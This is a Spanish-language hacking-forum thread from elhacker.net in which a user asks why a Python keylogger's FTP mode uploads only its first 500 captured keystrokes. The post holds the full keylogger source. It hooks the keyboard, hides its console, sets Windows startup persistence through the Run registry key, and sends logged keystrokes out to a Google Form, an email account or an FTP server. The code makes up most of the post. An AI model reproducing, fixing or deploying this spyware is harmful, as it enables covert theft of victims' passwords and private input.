elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  problema con creacion de keylogger python!!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: problema con creacion de keylogger python!!  (Leído 2,150 veces)
eliander20

Desconectado Desconectado

Mensajes: 30


Ver Perfil
problema con creacion de keylogger python!!
« en: 17 Septiembre 2016, 11:07 am »

Hola, estoy tratando de crear un keylogger con python que cada vez que capture 500 caracteres envie estos en un txt a un servidor FTP, pero tengo el codigo hecho, solo que no logro descifrar como hacer que envie mas de un registro, ya que este solo envia las primeras  500 pulsaciones capturadas, osea no logro como hacer que siga enviando.

Ejemplo, corro el script y cuando esta corriendo todo funciona bien, escribo en un notepad un texto de 1mil caractes para ver si envia los dos archivos de 500 caracteres al ftp, pero cuando lo reviso solo llegan las primeras 500 pulsaciones, he intentado con bucles while, pero la unica forma de capturar mas de 500 es cambiando el largo de las pulsaciones a 2mil o la cantidad que quiero que capture, pero lo que quiero es que el script se quede corriendo y envie archivos cada vez que capture 500 letras un archivo txt al servidor FTP.

Aqui les dejo el script para ver si lo solucionan, si logran algo porfavor avisenme!!

Código
  1. try:
  2.    import pythoncom, pyHook
  3. except:
  4.    print "Please Install pythoncom and pyHook modules"
  5.    exit(0)
  6. import os
  7. import sys
  8. import threading
  9. import urllib,urllib2
  10. import smtplib
  11. import ftplib
  12. import datetime,time
  13. import win32event, win32api, winerror
  14. from _winreg import *
  15.  
  16. #Disallowing Multiple Instance
  17. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  18. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  19.    mutex = None
  20.    print "Multiple Instance not Allowed"
  21.    exit(0)
  22. x=''
  23. data=''
  24. count=0
  25.  
  26. #Hide Console
  27. def hide():
  28.    import win32console,win32gui
  29.    window = win32console.GetConsoleWindow()
  30.    win32gui.ShowWindow(window,0)
  31.    return True
  32.  
  33. def msg():
  34.    print """\n \n
  35.  
  36.  
  37. usage:python keylogger mode [optional:startup]
  38. mode:
  39.     local: store the logs in a file [keylogs.txt]
  40.  
  41.     remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script.
  42.  
  43.     email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).
  44.  
  45.     ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY).
  46. [optional] startup: This will add the keylogger to windows startup.\n\n"""
  47.    return True
  48.  
  49. # Add to startup
  50. def addStartup():
  51.    fp=os.path.dirname(os.path.realpath(__file__))
  52.    file_name=sys.argv[0].split("\\")[-1]
  53.    new_file_path=fp+"\\"+file_name
  54.    keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'
  55.  
  56.    key2change= OpenKey(HKEY_CURRENT_USER,
  57.    keyVal,0,KEY_ALL_ACCESS)
  58.  
  59.    SetValueEx(key2change, "Xenotix Keylogger",0,REG_SZ, new_file_path)
  60.  
  61. #Local Keylogger
  62. def local():
  63.    global data
  64.    if len(data)>100:
  65.        fp=open("keylogs.txt","a")
  66.        fp.write(data)
  67.        fp.close()
  68.        data=''
  69.    return True
  70.  
  71. #Remote Google Form logs post
  72. def remote():
  73.    global data
  74.    if len(data)>100:
  75.        url="https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" #Specify Google Form URL here
  76.        klog={'entry.xxxxxxxxxxx':data} #Specify the Field Name here
  77.        try:
  78.            dataenc=urllib.urlencode(klog)
  79.            req=urllib2.Request(url,dataenc)
  80.            response=urllib2.urlopen(req)
  81.            data=''
  82.        except Exception as e:
  83.            print e
  84.    return True
  85.  
  86. #Email Logs
  87. class TimerClass(threading.Thread):
  88.    def __init__(self):
  89.        threading.Thread.__init__(self)
  90.        self.event = threading.Event()
  91.    def run(self):
  92.        while not self.event.is_set():
  93.            global data
  94.            if len(data)>100:
  95.                ts = datetime.datetime.now()
  96.                SERVER = "smtp.gmail.com" #Specify Server Here
  97.                PORT = 587 #Specify Port Here
  98.                USER="your_email@gmail.com"#Specify Username Here
  99.                PASS="password_here"#Specify Password Here
  100.                FROM = USER#From address is taken from username
  101.                TO = ["to_address@gmail.com"] #Specify to address.Use comma if more than one to address is needed.
  102.                SUBJECT = "Keylogger data: "+str(ts)
  103.                MESSAGE = data
  104.                message = """\
  105. From: %s
  106. To: %s
  107. Subject: %s
  108. %s
  109. """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
  110.                try:
  111.                    server = smtplib.SMTP()
  112.                    server.connect(SERVER,PORT)
  113.                    server.starttls()
  114.                    server.login(USER,PASS)
  115.                    server.sendmail(FROM, TO, message)
  116.                    data=''
  117.                    server.quit()
  118.                except Exception as e:
  119.                    print e
  120.            self.event.wait(120)
  121.  
  122. #Upload logs to FTP account
  123. def ftp():
  124.    global data,count
  125.    if len(data)>500:
  126.        count+=1
  127.        FILENAME="logs-"+str(count)+".txt"
  128.        fp=open(FILENAME,"a")
  129.        fp.write(data)
  130.        fp.close()
  131.        data=''
  132.        try:
  133.            SERVER="ftp.xxxxxx.com" #Specify your FTP Server address
  134.            USERNAME="ftp_username" #Specify your FTP Username
  135.            PASSWORD="ftp_password" #Specify your FTP Password
  136.            SSL=0 #Set 1 for SSL and 0 for normal connection
  137.            OUTPUT_DIR="/" #Specify output directory here
  138.            if SSL==0:
  139.                ft=ftplib.FTP(SERVER,USERNAME,PASSWORD)
  140.            elif SSL==1:
  141.                ft=ftplib.FTP_TLS(SERVER,USERNAME,PASSWORD)
  142.            ft.cwd(OUTPUT_DIR)
  143.            fp=open(FILENAME,'rb')
  144.            cmd= 'STOR' +' '+FILENAME
  145.            ft.storbinary(cmd,fp)
  146.            ft.quit()
  147.            fp.close()
  148.            os.remove(FILENAME)
  149.        except Exception as e:
  150.            print e
  151.    return True
  152.  
  153. def main():
  154.    global x
  155.    if len(sys.argv)==1:
  156.        msg()
  157.        exit(0)
  158.    else:
  159.        if len(sys.argv)>2:
  160.            if sys.argv[2]=="startup":
  161.                addStartup()
  162.            else:
  163.                msg()
  164.                exit(0)
  165.        if sys.argv[1]=="local":
  166.            x=1
  167.            hide()
  168.        elif sys.argv[1]=="remote":
  169.            x=2
  170.            hide()
  171.        elif sys.argv[1]=="email":
  172.            hide()
  173.            email=TimerClass()
  174.            email.start()
  175.        elif sys.argv[1]=="ftp":
  176.            x=4
  177.            hide()
  178.        else:
  179.            msg()
  180.            exit(0)
  181.    return True
  182.  
  183. if __name__ == '__main__':
  184.    main()
  185.  
  186. def keypressed(event):
  187.    global x,data
  188.    if event.Ascii==13:
  189.        keys='<ENTER>'
  190.    elif event.Ascii==8:
  191.        keys='<BACK SPACE>'
  192.    elif event.Ascii==9:
  193.        keys='<TAB>'
  194.    else:
  195.        keys=chr(event.Ascii)
  196.    data=data+keys
  197.    if x==1:  
  198.        local()
  199.    elif x==2:
  200.        remote()
  201.    elif x==4:
  202.        ftp()
  203.  
  204. obj = pyHook.HookManager()
  205. obj.KeyDown = keypressed
  206. obj.HookKeyboard()
  207. pythoncom.PumpMessages()]


Mod: No se debe escribir en mayùsculas, titulo corregido


« Última modificación: 17 Septiembre 2016, 19:14 pm por engel lex » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Kaley, Keylogger simple en Python
Scripting
Fyrox 0 7,149 Último mensaje 21 Septiembre 2011, 23:24 pm
por Fyrox
[Delphi] Creacion de un Keylogger
Análisis y Diseño de Malware
BigBear 5 5,783 Último mensaje 12 Octubre 2014, 03:49 am
por Fabian994
[C#] Creacion de un Keylogger
.NET (C#, VB.NET, ASP)
BigBear 1 10,955 Último mensaje 13 Septiembre 2014, 18:30 pm
por XresH
ayuda en la creacion TOTAL de keylogger « 1 2 »
Análisis y Diseño de Malware
damhirgomez 10 7,132 Último mensaje 12 Diciembre 2015, 18:37 pm
por RevolucionVegana
Problema con Keylogger en Python (No envía el log) « 1 2 »
Scripting
TheFerret 18 7,987 Último mensaje 7 Mayo 2019, 09:00 am
por Segadorfelix
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines